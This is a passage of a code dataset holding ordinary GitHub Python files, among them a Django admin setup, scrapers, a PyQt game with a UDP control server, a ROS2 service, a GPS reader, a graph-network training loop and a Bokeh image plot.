\"https://example.com\"\n","repo_name":"SELECT-stupidity-FROM-discord/OSS-Suzuka-Bot","sub_path":"utils/helpers/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27380508220","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\n\nfrom .models import User, UserProfile, UserDepartment, UserSection, Documents, DocumentSections, Accepted, Comments, RefDocumentType\n\n# Register your models here.\nclass ProfileInline(admin.StackedInline):\n model = UserProfile\n can_delete = False\n verbose_name_plural = 'UserProfile'\n fk_name = 'user'\n\nclass CustomUserAdmin(UserAdmin):\n inlines = (ProfileInline, )\n list_display = ('username','first_name', 'last_name', 'get_role', 'is_staff')\n list_select_related = ('profile', )\n\n def get_role(self, instance):\n return instance.profile.get_role_display()\n get_role.short_description = 'Role'\n\n def get_inline_instances(self, request, obj=None):\n if not obj:\n return list()\n return super(CustomUserAdmin, self).get_inline_instances(request, obj)\n\n\nclass DocumentsAdmin(admin.ModelAdmin):\n exclude = ('upload_by', 'access_count', 'doc_dept')\n\n def save_model(self, request, obj, form, change):\n obj.upload_by = request.user.profile\n obj.doc_dept = request.user.profile.dept\n obj.save()\n\nadmin.site.register(UserDepartment)\nadmin.site.register(UserSection)\nadmin.site.register(UserProfile)\nadmin.site.register(Documents, DocumentsAdmin)\nadmin.site.register(Accepted)\nadmin.site.register(Comments)\nadmin.site.register(RefDocumentType)\n\n#UserAdmin\nadmin.site.unregister(User)\nadmin.site.register(User, CustomUserAdmin)","repo_name":"rutthawitc/docs_mgmt_pgsql","sub_path":"docsmgmt_project/docsmgmt/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29989272974","text":"from tkinter import *\nfrom LoginPage import *\nimport socket\n\n\nIP = \"192.168.43.203\"\nPORT = 8181\naddr = (IP, PORT)\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(addr)\n\nroot = Tk()\nroot.title('cclient')\nLoginPage(s, root)\nroot.mainloop()\n","repo_name":"bruceEeZhao/cciot","sub_path":"cclient/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16380154027","text":"import tweepy\nimport credentials\nimport pandas as pd\n\n\nauth = tweepy.OAuthHandler(credentials.consumer_key,\n credentials.consumer_secret)\nauth.set_access_token(credentials.access_token,\n credentials.access_token_secret)\n\napi = tweepy.API(auth)\n\n# This can be used for #s\n# returns dataframe with the info of the tweets\n\n\ndef getTweets(keyWord, nums=10):\n keyWord = keyWord + \" -filter:retweets\" # Filters retweets\n tweets = tweepy.Cursor(api.search,\n q=keyWord, result_type=\"popular\", tweet_mode=\"extended\").items(int(nums)) # only returns 5 tweets, but it can be changed\n # DataFrame with the users (string), the tweet (string), the tweet id (Int64)\n # their location where the tweet was made (coordinates) and if the tweet is sensitive (boolean)\n tweetsList = pd.DataFrame()\n for tweet in tweets:\n print(tweet.full_text)\n tweetElement = [tweet.user.screen_name,\n tweet.full_text, tweet.id]\n try:\n # If the user doesnt share their location\n tweetElement.append(tweet.place.id)\n except:\n tweetElement.append(None)\n try:\n # This field only surfaces when a Tweet contains a link\n tweetElement.append(tweet.possibly_sensitive)\n except:\n tweetElement.append(None)\n tweet_serie = pd.Series({\"user\": tweetElement[0],\n \"tweet\": tweetElement[1],\n \"tweetID\": tweetElement[2],\n \"location\": tweetElement[3],\n \"sensitive\": tweetElement[4]})\n tweetsList = tweetsList.append(tweet_serie, ignore_index=True)\n return tweetsList\n\n# function to get the text of each tweet for the other api we are using\n# returns list with the texts of wach tweet\n\n\ndef get_tweets_user(tweetsList):\n users = tweetsList[\"user\"]\n user_list = []\n\n for user in users:\n user_list.append(user)\n\n return user_list\n\n\ndef getTweetsText(tweetsList):\n texts = tweetsList[\"tweet\"]\n\n textList = []\n links = []\n for text in texts:\n data = text.split(\"https://\") # Separates the urls\n textList.append(data[0])\n return textList\n\n# function that changes the data frame to a json\n\n\ndef getJson(tweetList):\n json = tweetList.to_json()\n return json\n\n# funtion to generate dataset\n\n\ndef getTweet(id):\n tweet = api.get_status(id)\n text = tweet.text\n data = text.split(\"https://\")\n return data[0]\n\n\n\n# print(getTweets(\"74.125.19.104\"))\n# print(getTweets(\"#cats\"))\n# print(getTweetsText(getTweets(\"#cats\")))\n# print(getJson(getTweets(\"#cats\")))\n","repo_name":"zhaovan/twitter-hackathon","sub_path":"get_tweets.py","file_name":"get_tweets.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31144609084","text":"'''\nMelhore o jogo do EXERCÍCIO 028 onde o computador vai \"pensar\" em um número entre 0 e 10.\nSó que agora o jogador vai tentar adivinhar até acertar, mostrando no final quantos\npalpites foram necessários para vencer.\n\nImprove the EXERCISE 028 game where the computer will \"think\" of a number between 0 and 10.\nOnly now the player will try to guess until he gets it right, showing at the end how many\nguesses were needed to win.\n'''\nfrom random import randint\nsorteio = randint(0,10)\nprint('Tente advinhar um número entre 0 e 10...')\nacertou = False\npalpites = 0\nwhile not acertou:\n jogador = int(input('Qual é seu palpite? '))\n palpites += 1\n if jogador == sorteio:\n acertou = True\n else:\n if jogador < sorteio:\n print('O número é maior, tente mais uma vez')\n elif jogador > sorteio:\n print('O número é menor, tente mais uma vez')\nprint(f'O número é {sorteio}. Acertou com {palpites} tentativas. Parabéns!')","repo_name":"adrielnardi/exercises-python3","sub_path":"python3-curso-em-video/Mundo 02/ex058.py","file_name":"ex058.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74290789953","text":"from pprint import pprint\n\nimport requests\nfrom Color_Console import ctext\nfrom bs4 import BeautifulSoup\n\nfrom modules.book_actions import scrape_a_book_and_hydrate_csv\n\n\ndef get_books_url_from_category_url(category_url: str):\n books_links_to_scrape = []\n\n response = requests.get(category_url)\n\n # example URL :\n # http://books.toscrape.com/catalogue/category/books/add-a-comment_18/index.html\n if response.ok:\n\n def get_page_books():\n soup = BeautifulSoup(response.content, \"lxml\")\n page_books_link = soup.select('section div ol li h3 a')\n for book_link in page_books_link:\n book_uri = book_link.get(\"href\").replace('../../..', '')\n book_url = \"http://books.toscrape.com/catalogue\" + book_uri\n books_links_to_scrape.append(book_url)\n return books_links_to_scrape\n\n books_url = get_page_books()\n\n else:\n print(\"Erreur de requête\", response)\n return False\n\n return books_url\n\n\ndef get_category_next_page(category_url: str):\n response = requests.get(category_url)\n if response.ok:\n def get_category_url_name():\n pos = category_url.rfind(\"/\") + 1\n category_url_name = category_url[:pos]\n return category_url_name\n\n soup = BeautifulSoup(response.content, \"lxml\")\n next_page = soup.select(\".next a\")\n\n if len(next_page) > 0:\n next_page_uri = next_page[0].get(\"href\")\n next_page_url = str(get_category_url_name()) + next_page_uri\n return next_page_url\n\n else:\n return False\n\n\ndef scrape_category(first_category_page, site_url=\"http://books.toscrape.com\"):\n page_to_scrape = first_category_page\n pre_books_to_scrape = []\n books_to_scrape = []\n while True:\n ctext(\"Category page book list\", \"yellow\")\n category_books = get_books_url_from_category_url(page_to_scrape)\n pprint(category_books)\n ctext(\"Next category page\", \"yellow\")\n page_to_scrape = get_category_next_page(page_to_scrape)\n print(page_to_scrape)\n pre_books_to_scrape.append(category_books)\n if not page_to_scrape:\n break\n\n for book_list in pre_books_to_scrape:\n for book in book_list:\n books_to_scrape.append(book)\n ctext(\"Full Book list from category to scrape :\", \"green\")\n pprint(books_to_scrape)\n ctext(f\"there are {len(books_to_scrape)} books to scrape\", 'green')\n\n for book_to_scrape in books_to_scrape:\n scrape_a_book_and_hydrate_csv(book_to_scrape, site_url)\n\n ctext(\"Done\")\n","repo_name":"FrancoisQUI/P2-00-Projet","sub_path":"modules/category_actions.py","file_name":"category_actions.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"4045419893","text":"from PyQt5 import QtWidgets\nfrom PyQt5 import QtCore\n\nfrom battle_field.items import personage\nfrom battle_field.items import obstacle\nfrom PyQt5 import QtNetwork\nimport json\nimport logging \n\nLOG = logging.getLogger(__name__)\n\nclass SceneWrapper(QtWidgets.QGraphicsScene):\n\n pers_count_maximum = 0\n obstackles_count_maximum = 20\n safety_objects_distance = 100\n\n # define buttons\n up = 16777235\n down = 16777237\n left = 16777234\n right = 16777236\n space = 32\n cntrl = 16777249\n alt = 16777251\n\n port = 7755\n\n def __init__(self, *xxx, **kwargs):\n QtWidgets.QGraphicsScene.__init__(self, *xxx, **kwargs)\n self.setSceneRect(-1000, -1000, 2000, 2000)\n # small test scene\n # self.setSceneRect(-500, -500, 1000, 1000)\n self.setItemIndexMethod(QtWidgets.QGraphicsScene.NoIndex)\n\n # create timer\n self.timer = QtCore.QTimer()\n self.timer.timeout.connect(self.timerEvent)\n self.dt = 1.0 / 30.0\n self.timer.start(self.dt * 1000)\n self.time = QtCore.QTime()\n self.time.start()\n # self.create_test_scene()\n\n # create obstacle.Obstacles\n for i in range(self.obstackles_count_maximum):\n pos_x = -1000 + QtCore.qrand() % 2000\n pos_y = -1000 + QtCore.qrand() % 2000\n pos = QtCore.QPointF(pos_x, pos_y)\n angle = 0\n self.addItem(obstacle.Obstacle(self, pos, 0))\n\n # create personage.Personages objects (do not collide with obstackles!)\n for i in range(self.pers_count_maximum):\n pos_x = QtCore.qrand() % 1000\n pos_y = QtCore.qrand() % 1000\n pos = QtCore.QPointF(pos_x, pos_y)\n angle = QtCore.qrand() % 360\n self.addItem(personage.Personage(self, pos, angle))\n\n self.my_personage = personage.Personage(\n self, QtCore.QPointF(500, -900), 0, False)\n self.addItem(self.my_personage)\n\n # generate obstacle.Obstacles at battle_field\n pers_count_current = 0\n while (pers_count_current < self.pers_count_maximum):\n # generate random point\n pos_x = -1000 + QtCore.qrand() % 2000\n pos_y = -1000 + QtCore.qrand() % 2000\n pos = QtCore.QPointF(pos_x, pos_y)\n angle = 0 # QtCore.qrand() % 360\n # check that we don't collide with other tanks positions\n # and obstackles positions\n left_up_corner = QtCore.QPointF(\n pos_x - self.safety_objects_distance,\n pos_y - self.safety_objects_distance)\n right_down_corner = QtCore.QPointF(\n pos_x + self.safety_objects_distance,\n pos_y + self.safety_objects_distance)\n safety_rect = QtCore.QRectF(left_up_corner, right_down_corner)\n permission_flag = True\n for item in self.items(safety_rect):\n if (isinstance(item, personage.Personage) or\n isinstance(item, obstacle.Obstacle)):\n permission_flag = False\n break\n if (permission_flag is True):\n self.addItem(personage.Personage(self, pos, angle))\n pers_count_current += 1\n\n self.init_server()\n\n def init_server(self):\n self.udp_socket = QtNetwork.QUdpSocket()\n self.udp_socket.bind(QtNetwork.QHostAddress.AnyIPv4, self.port);\n self.udp_socket.readyRead.connect(self.read_pending_datagrams)\n\n self.personages = {0: self.my_personage}\n self.personage_index = 1\n\n def read_pending_datagrams(self):\n # print('read_pending_datagrams')\n while (self.udp_socket.hasPendingDatagrams()):\n datagram = self.udp_socket.receiveDatagram()\n self.handle_request(datagram);\n\n def handle_request(self, datagram):\n try:\n data = json.loads(datagram.data().data().decode())\n res = {}\n if data['cmd'] == 'create_personage':\n cur_personage = personage.Personage(\n self, QtCore.QPointF(\n data['data']['pos'][0],\n data['data']['pos'][1]),\n 0, False)\n self.personages[self.personage_index] = cur_personage\n self.addItem(cur_personage)\n res = {'data':{'id': self.personage_index}}\n self.personage_index += 1\n elif data['cmd'] == 'delete_personage':\n if data['data']['id'] not in self.personages or data['data']['id'] == 0:\n res = {'error':'personage_not_exit'}\n else:\n self.removeItem(self.personages[data['data']['id']])\n del self.personages[data['data']['id']]\n elif data['cmd'] == 'increase_speed':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].increase_speed()\n elif data['cmd'] == 'reduce_speed':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].reduce_speed()\n elif data['cmd'] == 'reduce_angle':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].reduce_angle()\n elif data['cmd'] == 'increase_angle':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].increase_angle()\n elif data['cmd'] == 'reduce_rotation_speed':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].reduce_rotation_speed()\n elif data['cmd'] == 'increase_rotation_speed':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].increase_rotation_speed()\n elif data['cmd'] == 'create_bullet':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].tower.create_bullet()\n\n self.udp_socket.writeDatagram(json.dumps(res).encode(), datagram.senderAddress(), datagram.senderPort())\n except json.decoder.JSONDecodeError as e:\n LOG.exception(e)\n self.udp_socket.writeDatagram(\n json.dumps({'error':str(e)}).encode(),\n datagram.senderAddress(),\n datagram.senderPort())\n\n # check by timer that we have enough tanks on battle\n def timerEvent(self):\n for item in self.items():\n item.update()\n if len(self.items()) < self.pers_count_maximum:\n pos_x = -1000 + QtCore.qrand() % 2000\n pos_y = -1000 + QtCore.qrand() % 2000\n pos = QtCore.QPointF(pos_x, pos_y)\n angle = QtCore.qrand() % 360\n self.addItem(personage.Personage(self, pos, angle))\n\n def eventFilter(self, object, event):\n if event.type() == QtCore.QEvent.KeyPress:\n if event.key() == self.left:\n self.my_personage.reduce_angle()\n elif event.key() == self.right:\n self.my_personage.increase_angle()\n elif event.key() == self.up:\n self.my_personage.increase_speed()\n elif event.key() == self.down:\n self.my_personage.reduce_speed()\n elif event.key() == self.cntrl:\n self.my_personage.tower.reduce_rotation_speed()\n elif event.key() == self.alt:\n self.my_personage.tower.increase_rotation_speed()\n elif event.key() == self.space:\n self.my_personage.tower.create_bullet()\n # print(event.key())\n return True\n else:\n return QtWidgets.QGraphicsScene.eventFilter(self, object, event)\n\n def create_test_scene(self):\n self.my_personage = personage.Personage(\n self, QtCore.QPointF(0, 0), 0, False)\n self.addItem(self.my_personage)\n Obstacle_1 = obstacle.Obstacle(\n self, QtCore.QPointF(100, 10), 0)\n Obstacle_2 = obstacle.Obstacle(\n self, QtCore.QPointF(330, -10), 0)\n Obstacle_3 = obstacle.Obstacle(\n self, QtCore.QPointF(330, -100), 0)\n self.addItem(Obstacle_1)\n self.addItem(Obstacle_2)\n self.addItem(Obstacle_3)\n Obstacle_1.setVisible(True)\n Obstacle_2.setVisible(True)\n Obstacle_3.setVisible(True)\n","repo_name":"AlexLexx706/battle_field","sub_path":"battle_field/scene_wrapper.py","file_name":"scene_wrapper.py","file_ext":"py","file_size_in_byte":9068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"9959726658","text":"import rclpy\nfrom rclpy.node import Node\nfrom std_srvs.srv import Trigger\n\nclass Abort_cycle(Node):\n\n def __init__(self):\n super().__init__('abort_cycle')\n self.server = self.create_service(Trigger, 'abort_cycle', self.callback)\n\n def callback(self, request, response):\n self.get_logger().info(\"El servicio abort_cycle fue activado.\")\n response.success = True\n response.message = \"El servicio abort_cycle ha fracasado\"\n return response\n\ndef main(args=None):\n rclpy.init(args=args)\n server_node = Abort_cycle()\n rclpy.spin(server_node)\n rclpy.shutdown()\n\nif __name__ == '__main__':\n main()","repo_name":"mbflores3/test_tecnico","sub_path":"abortCycle.py","file_name":"abortCycle.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25665896845","text":"import serial\nimport pynmea2\nimport json\n\n\"\"\" \nGPS Precision by decimal places\n\ndecimal |\nplaces | degrees | distance\n0\t 1.0\t 111 km\n1\t 0.1\t 11.1 km\n2\t 0.01\t 1.11 km\n3\t 0.001\t 111 m\n4\t 0.0001\t 11.1 m\n5\t 0.00001\t 1.11 m (We use this for this application)\n6\t 0.000001\t 0.111 m\n7\t 0.0000001\t 1.11 cm\n8\t 0.00000001\t 1.11 mm\n\"\"\"\n\nprecision = 5\ncounter = 0\nlat = 0\nlng = 0\n\njsonFile = {\n \"lat\": 0,\n \"lng\": 0,\n}\n\nwhile True:\n port='/dev/serial0'\n ser=serial.Serial(port, baudrate=9600, timeout=0.5)\n dataout = pynmea2.NMEAStreamReader()\n newdata=ser.readline().decode()\n if newdata[0:6] == '$GPRMC':\n # Receiving data every second\n newmsg = pynmea2.parse(newdata)\n # Average of 5 measurements\n if counter ==5:\n jsonFile[\"lat\"] = round(lat/5,precision)\n jsonFile[\"lng\"] = round(lng/5,precision)\n lat = jsonFile[\"lat\"] \n lng = jsonFile[\"lng\"]\n gps = 'Latitude= ' + str(lat) + ' and Longitude= ' + str(lng)\n #print(gps)\n with open(\"opencvDNN/Gps/gps.json\", \"w\") as outfile:\n json.dump(jsonFile, outfile) \n lat= 0\n lng = 0\n counter = 0\n elif (newmsg.latitude==0.0 or newmsg.longitude ==0.0):\n # Avoiding failed values\n continue\n else:\n lat +=newmsg.latitude\n lng +=newmsg.longitude\n counter+=1","repo_name":"altaga/Open-Driving-Monitor","sub_path":"RPi Deploy/Gps/gps.py","file_name":"gps.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18603275006","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 3 17:34:24 2023\n\n@author: AmayaGS\n\"\"\"\n\nimport time\nimport os, os.path\nos.environ[\"CUDA_LAUNCH_BLOCKING\"] = \"1\"\n\nimport numpy as np\n\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfrom sklearn.preprocessing import label_binarize\nfrom sklearn.metrics import auc as calc_auc\n\nimport torch\n\nfrom auxiliary_functions import Accuracy_Logger\n\nuse_gpu = torch.cuda.is_available()\nif use_gpu:\n print(\"Using CUDA\")\n\nimport gc\ngc.enable()\n\ndef train_graph_multi_wsi(graph_net, train_loader, test_loader, loss_fn, optimizer, n_classes, num_epochs=1, checkpoint=True, checkpoint_path=\"PATH_checkpoints\"):\n\n\n since = time.time()\n best_acc = 0.\n best_AUC = 0.\n\n results_dict = {}\n\n train_loss_list = []\n train_accuracy_list = []\n #train_auc_list = []\n\n val_loss_list = []\n val_accuracy_list = []\n val_auc_list = []\n\n for epoch in range(num_epochs):\n\n ##################################\n # TRAIN\n acc_logger = Accuracy_Logger(n_classes=n_classes)\n train_loss = 0\n train_acc = 0\n train_count = 0\n graph_net.train()\n\n print(\"Epoch {}/{}\".format(epoch, num_epochs), flush=True)\n print('-' * 10)\n\n for batch_idx, (patient_ID, graph_object) in enumerate(train_loader.dataset.items()):\n\n data, label = graph_object\n\n if use_gpu:\n data, label = data.cuda(), label.cuda()\n else:\n data, label = data, label\n\n logits, Y_prob = graph_net(data)\n Y_hat = Y_prob.argmax(dim=1)\n acc_logger.log(Y_hat, label)\n loss = loss_fn(logits, label)\n train_loss += loss.item()\n\n train_acc += torch.sum(Y_hat == label.data)\n train_count += 1\n\n loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n\n del data, logits, Y_prob, Y_hat\n gc.collect()\n\n total_loss = train_loss / train_count\n train_accuracy = train_acc / train_count\n\n train_loss_list.append(total_loss)\n train_accuracy_list.append(train_accuracy.item())\n\n print()\n print('Epoch: {}, train_loss: {:.4f}, train_accuracy: {:.4f}'.format(epoch, total_loss, train_accuracy))\n for i in range(n_classes):\n acc, correct, count = acc_logger.get_summary(i)\n print('class {}: acc {}, correct {}/{}'.format(i, acc, correct, count), flush=True)\n\n ################################\n # TEST/EVAL\n graph_net.eval()\n\n val_acc_logger = Accuracy_Logger(n_classes)\n val_loss = 0.\n val_acc = 0\n val_count = 0\n\n prob = []\n labels = []\n\n for batch_idx, (patient_ID, graph_object) in enumerate(test_loader.dataset.items()):\n\n data, label = graph_object\n\n with torch.no_grad():\n if use_gpu:\n data, label = data.cuda(), label.cuda()\n else:\n data, label = data, label\n\n logits, Y_prob = graph_net(data)\n Y_hat = Y_prob.argmax(dim=1)\n val_acc_logger.log(Y_hat, label)\n\n val_acc += torch.sum(Y_hat == label.data)\n val_count += 1\n\n loss = loss_fn(logits, label)\n val_loss += loss.item()\n\n prob.append(Y_prob.detach().to('cpu').numpy())\n labels.append(label.item())\n\n del data, logits, Y_prob, Y_hat\n gc.collect()\n\n val_loss /= val_count\n val_accuracy = val_acc / val_count\n\n val_loss_list.append(val_loss)\n val_accuracy_list.append(val_accuracy.item())\n\n if n_classes == 2:\n prob = np.stack(prob, axis=1)[0]\n val_auc = roc_auc_score(labels, prob[:, 1])\n aucs = []\n else:\n aucs = []\n binary_labels = label_binarize(labels, classes=[i for i in range(n_classes)])\n prob = np.stack(prob, axis=1)[0]\n for class_idx in range(n_classes):\n if class_idx in labels:\n fpr, tpr, _ = roc_curve(binary_labels[:, class_idx], prob[:, class_idx])\n aucs.append(calc_auc(fpr, tpr))\n else:\n aucs.append(float('nan'))\n\n val_auc = np.nanmean(np.array(aucs))\n\n val_auc_list.append(val_auc)\n\n conf_matrix = confusion_matrix(labels, np.argmax(prob, axis=1))\n\n print('\\nVal Set, val_loss: {:.4f}, AUC: {:.4f}, Accuracy: {:.4f}'.format(val_loss, val_auc, val_accuracy), flush=True)\n\n print(conf_matrix)\n\n if n_classes == 2:\n sensitivity = conf_matrix[1,1] / (conf_matrix[1,1] + conf_matrix[1,0]) # TP / (TP + FN)\n specificity = conf_matrix[0,0] / (conf_matrix[0,0] + conf_matrix[0,1])\n print('Sensitivity: ', sensitivity)\n print('Specificity: ', specificity)\n\n if val_accuracy >= best_acc:\n # if val_auc >= best_AUC:\n best_acc = val_accuracy\n # best_AUC = val_auc\n\n if checkpoint:\n checkpoint_weights = checkpoint_path + str(epoch) + \".pth\"\n torch.save(graph_net.state_dict(), checkpoint_weights)\n\n elapsed_time = time.time() - since\n\n print()\n print(\"Training completed in {:.0f}m {:.0f}s\".format(elapsed_time // 60, elapsed_time % 60))\n\n if checkpoint:\n graph_net.load_state_dict(torch.load(checkpoint_weights), strict=True)\n\n results_dict = {'train_loss': train_loss_list,\n 'val_loss': val_loss_list,\n 'train_accuracy': train_accuracy_list,\n 'val_accuracy': val_accuracy_list,\n 'val_auc': val_auc_list\n }\n\n return graph_net, results_dict\n\n\n# TEST\n\ndef test_graph_multi_wsi(graph_net, test_loader, loss_fn, n_classes=2):\n\n since = time.time()\n\n test_acc_logger = Accuracy_Logger(n_classes)\n test_loss = 0.\n test_acc = 0\n test_count = 0\n\n prob = []\n labels = []\n test_loss_list = []\n test_accuracy_list = []\n test_auc_list = []\n\n graph_net.eval()\n\n for batch_idx, (patient_ID, graph_object) in enumerate(test_loader.dataset.items()):\n\n data, label = graph_object\n\n with torch.no_grad():\n if use_gpu:\n data, label = data.cuda(), label.cuda()\n else:\n data, label = data, label\n\n logits, Y_prob = graph_net(data)\n Y_hat = Y_prob.argmax(dim=1)\n test_acc_logger.log(Y_hat, label)\n\n test_acc += torch.sum(Y_hat == label.data)\n test_count += 1\n\n loss = loss_fn(logits, label)\n test_loss += loss.item()\n\n prob.append(Y_prob.detach().to('cpu').numpy())\n labels.append(label.item())\n\n del data, logits, Y_prob, Y_hat\n gc.collect()\n\n test_loss /= test_count\n test_accuracy = test_acc / test_count\n\n test_loss_list.append(test_loss)\n test_accuracy_list.append(test_accuracy.item())\n\n if n_classes == 2:\n prob = np.stack(prob, axis=1)[0]\n test_auc = roc_auc_score(labels, prob[:, 1])\n aucs = []\n else:\n aucs = []\n binary_labels = label_binarize(labels, classes=[i for i in range(n_classes)])\n prob = np.stack(prob, axis=1)[0]\n for class_idx in range(n_classes):\n if class_idx in labels:\n fpr, tpr, _ = roc_curve(binary_labels[:, class_idx], prob[:, class_idx])\n aucs.append(calc_auc(fpr, tpr))\n else:\n aucs.append(float('nan'))\n\n test_auc = np.nanmean(np.array(aucs))\n\n test_auc_list.append(test_auc)\n\n conf_matrix = confusion_matrix(labels, np.argmax(prob, axis=1))\n\n print('\\nVal Set, val_loss: {:.4f}, AUC: {:.4f}, Accuracy: {:.4f}'.format(test_loss, test_auc, test_accuracy), flush=True)\n\n print(conf_matrix)\n\n if n_classes == 2:\n sensitivity = conf_matrix[1,1] / (conf_matrix[1,1] + conf_matrix[1,0]) # TP / (TP + FN)\n specificity = conf_matrix[0,0] / (conf_matrix[0,0] + conf_matrix[0,1])\n print('Sensitivity: ', sensitivity)\n print('Specificity: ', specificity)\n\n elapsed_time = time.time() - since\n\n print()\n print(\"Testing completed in {:.0f}m {:.0f}s\".format(elapsed_time // 60, elapsed_time % 60))\n\n return labels, prob, conf_matrix, sensitivity, specificity","repo_name":"AmayaGS/MUSTANG","sub_path":"graph_train_loop.py","file_name":"graph_train_loop.py","file_ext":"py","file_size_in_byte":8454,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"32096680782","text":"\"\"\"Image.\"\"\"\nimport numpy as np\nfrom bokeh.models import BasicTicker, BoxZoomTool, ColorBar, ColumnDataSource, HoverTool, Range1d\nfrom bokeh.plotting import figure\n\nfrom plotski.base import Plot\nfrom plotski.utilities import calculate_aspect_ratio\n\n\nclass PlotImageBase(Plot):\n \"\"\"Basic heatmap plot.\"\"\"\n\n # Data attributes\n DATA_KEYS = (\"image\", \"x\", \"y\", \"dw\", \"dh\")\n ACTIVE_DRAG = None\n TOOLS = None\n\n def __init__(\n self,\n output_dir: str,\n source: ColumnDataSource,\n x_axis_label: str = \"\",\n y_axis_label: str = \"\",\n title: str = \"Heatmap\",\n plot_type: str = \"heatmap\",\n initialize: bool = True,\n **kwargs,\n ):\n self.ACTIVE_DRAG = BoxZoomTool(match_aspect=True)\n self.TOOLS = (\"pan, crosshair, reset\", self.ACTIVE_DRAG)\n Plot.__init__(\n self,\n output_dir,\n source,\n x_axis_label,\n y_axis_label,\n title=title,\n plot_type=plot_type,\n initilize=initialize,\n **kwargs,\n )\n\n def plot(self):\n \"\"\"Main plotting function.\"\"\"\n raise NotImplementedError(\"Must implement method\")\n\n def get_figure(self):\n \"\"\"Get figure.\"\"\"\n return figure(\n tools=self.kwargs[\"tools\"],\n active_drag=self.kwargs[\"active_drag\"],\n x_range=self.kwargs.get(\"x_range\", Range1d()),\n y_range=self.kwargs.get(\"y_range\", Range1d()),\n )\n\n def initialize_options(self):\n \"\"\"Setup few options.\"\"\"\n from plotski.utilities import convert_colormap_to_mapper\n\n # setup some common options if the user has not specified them\n if \"cmap\" not in self.kwargs:\n self.kwargs[\"cmap\"] = \"viridis\"\n\n self.kwargs[\"palette\"], self.kwargs[\"colormapper\"] = convert_colormap_to_mapper(\n self.source.data[\"image\"][0],\n self.kwargs[\"cmap\"],\n z_min=self.kwargs.get(\"z_min\", None),\n z_max=self.kwargs.get(\"z_max\", None),\n )\n super().initialize_options()\n\n def set_hover(self):\n \"\"\"Set hover.\"\"\"\n self.figure.add_tools(\n HoverTool(\n show_arrow=True,\n tooltips=[(\"x, y\", \"$x{0.00}, $y{0.00}\"), (self.kwargs.get(\"hover_label\", \"intensity\"), \"@image\")],\n )\n )\n\n def set_ranges(self, **kwargs):\n \"\"\"Set ranges.\"\"\"\n self.figure.xaxis.axis_label_text_baseline = \"bottom\"\n\n # update x/y ranges\n src = self.source.data\n if \"x_range\" not in self.kwargs:\n self.figure.x_range.update(start=0, end=src[\"image\"][0].shape[1])\n if \"y_range\" not in self.kwargs:\n self.figure.y_range.update(start=0, end=src[\"image\"][0].shape[0])\n # x_range = self.kwargs.get(\"x_range\", None)\n # if x_range is None:\n # x_range = (0, src[\"image\"][0].shape[1])\n # self.figure.x_range = Range1d(*x_range) if isinstance(x_range, ty.Iterable) else x_range\n # y_range = self.kwargs.get(\"y_range\", None)\n # if y_range is None:\n # y_range = (0, src[\"image\"][0].shape[0])\n # self.figure.y_range = Range1d(*y_range) if isinstance(y_range, ty.Iterable) else y_range\n\n def set_figure_dimensions(self):\n \"\"\"Set figure dimensions.\"\"\"\n width = self.kwargs.get(\"width\", 600)\n height, width = calculate_aspect_ratio(self.source.data[\"image\"][0].shape, width)\n if height > 600:\n _ratio = 600 / height\n height = 600\n width = int(width * _ratio)\n self.figure.width = self.kwargs.get(\"width\", width)\n self.figure.height = self.kwargs.get(\"height\", height)\n\n def check_data_source(self):\n \"\"\"Ensure that each field in the data source is correct.\"\"\"\n if \"image\" not in self.source.data:\n raise ValueError(\"Missing field 'image' in the ColumnDataSource\")\n if \"image\" in self.source.data:\n if not isinstance(self.source.data[\"image\"], list) and len(self.source.data[\"image\"]) > 1:\n raise ValueError(\"Field 'image' is incorrectly set in ColumnDataSource\")\n if \"x\" not in self.source.data:\n self.source.data[\"x\"] = [0]\n if \"y\" not in self.source.data:\n self.source.data[\"y\"] = [0]\n if \"dw\" not in self.source.data:\n self.source.data[\"dw\"] = [self.source.data[\"image\"][0].shape[1]]\n if \"dh\" not in self.source.data:\n self.source.data[\"dh\"] = [self.source.data[\"image\"][0].shape[0]]\n super().check_data_source()\n\n\nclass PlotImage(PlotImageBase):\n \"\"\"Image class.\"\"\"\n\n def __init__(self, output_dir: str, source: ColumnDataSource, 